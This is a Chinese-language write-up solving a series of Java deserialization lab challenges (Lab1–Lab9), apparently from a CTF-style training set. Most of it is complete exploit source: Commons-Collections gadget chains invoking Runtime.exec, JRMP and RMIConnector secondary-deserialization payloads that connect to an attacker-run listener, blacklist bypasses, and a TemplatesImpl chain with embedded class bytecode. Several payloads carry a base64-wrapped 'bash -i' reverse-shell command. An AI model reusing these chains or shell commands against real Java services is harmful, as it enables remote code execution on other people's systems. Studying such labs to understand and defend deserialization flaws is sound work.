JavaDerserializeLabs-writeup
Lab1
还是先反编译jar
包看源码
直接给了反序列化点,然后还有一个Calc
类
直接反序列化Calc
类执行命令即可
Calc
package com.yxxx.javasec.deserialize;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Calc implements Serializable {
private boolean canPopCalc = true;
private String cmd = "bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}";
private void readObject(ObjectInputStream objectInputStream) throws Exception {
objectInputStream.defaultReadObject();
if (this.canPopCalc)
Runtime.getRuntime().exec(this.cmd);
}
}
EXP
import com.yxxx.javasec.deserialize.Calc;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
public class lab1exp {
public static void main(String[] args) throws Exception {
Calc calc=new Calc();
System.out.println(objectToHexString(calc));
}
public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
out = new ObjectOutputStream(bos);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
Lab2
可以看到,在readObject
之前,还会readUTF
及readInt
,所以我们除了序列化对象,还要写入UTF及Int。先寻找一下可用的gadget
。先看下pom.xml
有cc
的依赖,直接拿cc链打,jdk是8u221,cc1用不了,选择用cc6
EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class lab2exp {
public static void main(String[] args) throws Exception {
Map old = new HashMap();
Transformer[] x = new Transformer[]{
ConstantTransformer.getInstance(Runtime.class),
InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}"})
};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer chain= new ChainedTransformer(fakeTransformers);
Map newmap = LazyMap.decorate(old,chain);
TiedMapEntry entry=new TiedMapEntry(newmap,"novic4");
Map ht=new HashMap();
ht.put(entry,"novic4");
newmap.remove("novic4");
Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,x);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(ht);
oser.close();
System.out.println(bytesTohexString(ser.toByteArray()));
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
Lab3
lab3
中用MyObjectInputStream
替换了ObjectInputStream
,看一下其源码
MyObjectInputStream
其实也就是重写了resolveClass
方法,看看和ObjectInputStream
有什么区别
就是加载类的方式改变了,ObjectInputStream
使用Class.forName
加载类,而MyObjectInputStream
使用URLClassLoader.loadClass
加载类。这两种类加载方式的主要区别就是URLClassLoader.loadClass
无法加载数组,写个demo来说明
shiro
中就使用这种类加载方式,但shiro
中java原生类的数组还可以加载的,而这个题是所有类都是用loadClass
方法加载,所以之前的shiro
反序列化的EXP在这里也是不能用的,因为TemplatesImpl
中的bytecode
的值是个二维字节数组。根据题目名可知,这里要结合JRMP协议实现二次反序列化攻击。
因为要在序列化流中写入字符串和数字,所以不能直接用ysoserial
生成payload
。改一改大师傅的EXP,源代码地址:https://github.com/lalajun/RMIDeserialize/blob/master/RMI-Client/src/main/java/com/lala/Bypass290.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class lab3exp {
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "ip";
int jrmpListenerPort = port;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
//所以接下来bind可以填入proxy
Registry proxy = (Registry) Proxy.newProxyInstance(lab3exp.class.getClassLoader(),
new Class[]{Registry.class}, obj);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(proxy);
oser.close();
System.out.println(bytesTohexString(ser.toByteArray()));
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
然后利用ysoserial
开启一个JRMPListener
然后将生成的payload
打过去
成功反弹shell
Lab4
lab4
和lab3
的项目代码是完全一样的,区别就在docker-compose.yml
很显然lab4
中设置了不出网,这就使得lab3
中的解法无法用于lab4
。那么就只能找一个不含数组的本地gadget
了。这里还是利用CC依赖,既然不能有数组,那也就代表不能使用ChainedTransformer
了,看了一下几种Transformer
,最有可能被利用的应该就是InvokerTransformer
了,利用这个Transformer
可以实现调用任意方法。但这里真的能调用任意方法吗,看一下其构造方法
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
可以看到,调用方法的参数类型和参数值都是数组类型的,这也就代表着在该题目环境的限制下,只能调用无参方法。那么我们就要通过这个无参方法实现RCE或者二次反序列化,刚好之前学Hessian
反序列化的不出网利用时用到了java.security.SignedObject#getObject
进行二次反序列化,这里感觉应该也可以用,试一下
EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.security.provider.DSAPrivateKey;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Map;
public class lab4exp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
SignedObject signedObject=new SignedObject(getObject(), new DSAPrivateKey(), new Signature("xxx") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
Map old = new HashMap();
Transformer invoke=new InvokerTransformer("toString",null,null);
Map newmap = LazyMap.decorate(old,invoke);
TiedMapEntry entry=new TiedMapEntry(newmap,signedObject);
Map ht=new HashMap();
ht.put(entry,signedObject);
newmap.remove(signedObject);
Field iMethodName=InvokerTransformer.class.getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(invoke,"getObject");
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(ht);
oser.close();
System.out.println(bytesTohexString(ser.toByteArray()));
}
public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
Map oldx = new HashMap();
Transformer[] x = new Transformer[]{
ConstantTransformer.getInstance(Runtime.class),
InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer chain= new ChainedTransformer(fakeTransformers);
Map newmapx = LazyMap.decorate(oldx,chain);
TiedMapEntry entryx=new TiedMapEntry(newmapx,"novic4");
Map htx=new HashMap();
htx.put(entryx,"novic4");
newmapx.remove("novic4");
Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,x);
return (HashMap) htx;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
这个EXP使用ObjectInputStream
可以成功,但是使用题目的MyInputStream
就不行了,会报invalid type code: AC
,问题应该出在读取序列化数据的过程中。原因我觉得应该是序列化字节流中嵌套了一层序列化字节流,然后读取到嵌套的数据流时引发了一些奇怪的问题,目前还没有找到解决方法。
那么只有换一个利用点了,这里换一个师傅文章里看到的利用点,也是通过触发二次反序列化实现RCE。具体触发点在javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
该方法会反序列化base64
编码的序列化字节流,看下利用链
connect()->connect(Map<String,?> environment)->findRMIServer(JMXServiceURL directoryURL,Map<String, Object> environment)->findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
简单捋一下流程,从connect
的有参方法看起
前面无关紧要,直接看到这里,如果rmiServer
为空的话就会调用findRMIServer
方法,传入的参数中jmxServiceURL
是我们可控的,不过该参数作为一个JMXServiceURL
类型的对象,其URL需要满足一些要求
简而言之就是URL
格式需要为service:jmx:protocol:sap
,sap
的格式为//[host]:[port][url-path]
如果url-path
以/stub/
开头就会将后面的部分作为base64字符串传入findRMIServerJRMP
方法
写下EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.security.provider.DSAPrivateKey;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class lab4exp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
String exp= Base64.getEncoder().encodeToString(tser.toByteArray());
Map map=new HashMap<String,Integer>();
RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),map);
Map old = new HashMap();
Transformer invoke=new InvokerTransformer("toString",null,null);
Map newmap = LazyMap.decorate(old,invoke);
TiedMapEntry entry=new TiedMapEntry(newmap,rmiConnector);
Map ht=new HashMap();
ht.put(entry,"xxx");
newmap.remove(rmiConnector);
Field iMethodName=InvokerTransformer.class.getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(invoke,"connect");
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(ht);
oser.close();
System.out.println(ser);
System.out.println(bytesTohexString(ser.toByteArray()))
}
public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
Map oldx = new HashMap();
Transformer[] x = new Transformer[]{
ConstantTransformer.getInstance(Runtime.class),
InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"cmd"})
};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer chain= new ChainedTransformer(fakeTransformers);
Map newmapx = LazyMap.decorate(oldx,chain);
TiedMapEntry entryx=new TiedMapEntry(newmapx,"novic4");
Map htx=new HashMap();
htx.put(entryx,"novic4");
newmapx.remove("novic4");
Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,x);
return (HashMap) htx;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
Lab5
lab5
在MyObjectInputStream
中重写了resolveClass
和resolveProxyClass
方法,将org.apache.commons.collections.functors
和java.rmi.server
加入了黑名单,来防御反序列化。
不过还给了一个MarshalledObject
可以看到其readResolve
方法中进行了一个反序列化操作,如果能调用到该方法,就可以实现二次反序列化。
图为ObjectInputstream在反序列化对象时的函数调用关系,橙色部分是调用readObject或readExternal函数后执行的代码。当反序列化的类存在readResolve
方法时,就会进行调用,所以直接构造EXP
import com.yxxx.javasec.deserialize.MarshalledObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class lab5exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
MarshalledObject marshalledObject=new MarshalledObject();
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
Field bytes=marshalledObject.getClass().getDeclaredField("bytes");
bytes.setAccessible(true);
bytes.set(marshalledObject,tser.toByteArray());
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(marshalledObject);
oser.close();
System.out.println(ser);
System.out.println(bytesTohexString(ser.toByteArray()));
}
public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
Map oldx = new HashMap();
Transformer[] x = new Transformer[]{
ConstantTransformer.getInstance(Runtime.class),
InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
//InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"calc"})
InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"bash -c {echo,base64命令}|{base64,-d}|{bash,-i}"})
};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer chain= new ChainedTransformer(fakeTransformers);
Map newmapx = LazyMap.decorate(oldx,chain);
TiedMapEntry entryx=new TiedMapEntry(newmapx,"novic4");
Map htx=new HashMap();
htx.put(entryx,"novic4");
newmapx.remove("novic4");
Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,x);
return (HashMap) htx;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
Lab6
lab6
在lab5
的基础上修改了resolveProxyClass
方法,将java.rmi.registry
加入了代理类黑名单,并且去掉了MarshalledObject
。这里想到的就是通过lab3
使用的JRMP
二次反序列化来搞,不过这里将lab3
中使用的java.rmi.registry
加入了黑名单,所以要找个替代的接口,看到有大师傅用的是java.rmi.activation.Activator
,不过看到有师傅说随便一个接口就行,这里还是用java.rmi.activation.Activator
EXP
import sun.rmi.server.UnicastRef;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.RemoteObjectInvocationHandler;
public class lab6exp {
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "ip";
int jrmpListenerPort = 7777;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
//所以接下来bind可以填入proxy
Activator proxy = (Activator) Proxy.newProxyInstance(lab3exp.class.getClassLoader(),
new Class[]{Activator.class}, obj);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(proxy);
oser.close();
System.out.println(bytesTohexString(ser.toByteArray()));
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
起一个JRMPListener
然后看到还有一种绕过方法,就是直接反序列化UnicastRef
,进而调用sum.rmi.server.UnicastRef#readExternal
EXP
import sun.rmi.server.UnicastRef;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
public class lab6exp {
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "ip";
int jrmpListenerPort = 7777;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(ref);
oser.close();
System.out.println(bytesTohexString(ser.toByteArray()));
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
Lab7(待解决)
黑名单中又添加了sun.rmi.server.UnicastRef
,导致上面两种方法都不能用了,不过我们只需要找一个与java.rmi.server.RemoteObjectInvocationHandle
替换即可,也就是寻找java.rmi.server.RemoteObject
的子类,如:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
然后直接
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
ReferenceWrapper_Stub referenceWrapper_stub = new ReferenceWrapper_Stub(ref);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(referenceWrapper_stub);
oser.close();
但是事情并没有这么简单,看到dockerfile
javax.management.BadAttributeValueExpException
被加入了反序列化过滤器,于是上面的payload打过去就会得到
寄
Lab8
出题人貌似打包错了,还是lab6的文件
Lab9
应该是根据7u21
那条链改出来的一道题,先看一下给的MyInvocationHandler
有一个type
属性,然后在invoke
方法中就会遍历type
的成员方法并反射调用,要注意的是这里调用的方法需要是无参的。,其实这个InvocationHandler
就是把7u21
链中的AnnotationInvocationHandler#equalsImpl
和AnnotationInvocationHandler#invoke
结合起来了,且相比于原7u21
还少了两个限制
- 不需要调用方法名为
equal
- 不要求参数只有一个
还是借鉴7u21
中元素比较的思想,且因为少了限制,这里可以用PriorityQueue
来构造EXP,先在本地测试一下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class lab9exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
MyInvocationHandler myInvocationHandler=new MyInvocationHandler();
myInvocationHandler.setType(Templates.class);
Comparator comparator= (Comparator) Proxy.newProxyInstance(lab9exp.class.getClassLoader(),new Class[]{Comparator.class},myInvocationHandler);1
PriorityQueue priorityQueue=new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
setFieldValue(priorityQueue,"comparator",comparator);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(priorityQueue);
oser.close();
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
objectInputStream.readUTF();
objectInputStream.readInt();
objectInputStream.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
测试成功,然后写一下题目的EXP,要注意的是我是在本地新建了一个MyInvocationHandler
类,直接用来序列化的话会报serialVersionUID
不相同的错误,所以要设置一下serialVersionUID
private static final long serialVersionUID=62432441011093559L;
Code
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Code extends AbstractTranslet{
public Code() throws IOException {
Runtime.getRuntime().exec("bash -c {echo,base64命令}|{base64,-d}|{bash,-i}");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class lab9exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NotFoundException, CannotCompileException {
ClassPool classPool=ClassPool.getDefault();
CtClass code=classPool.get("Code");
byte[] bytecode=code.toBytecode();
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
MyInvocationHandler myInvocationHandler=new MyInvocationHandler();
myInvocationHandler.setType(Templates.class);
Comparator comparator= (Comparator) Proxy.newProxyInstance(lab9exp.class.getClassLoader(),new Class[]{Comparator.class},myInvocationHandler);
PriorityQueue priorityQueue=new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
setFieldValue(priorityQueue,"comparator",comparator);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(priorityQueue);
oser.close();
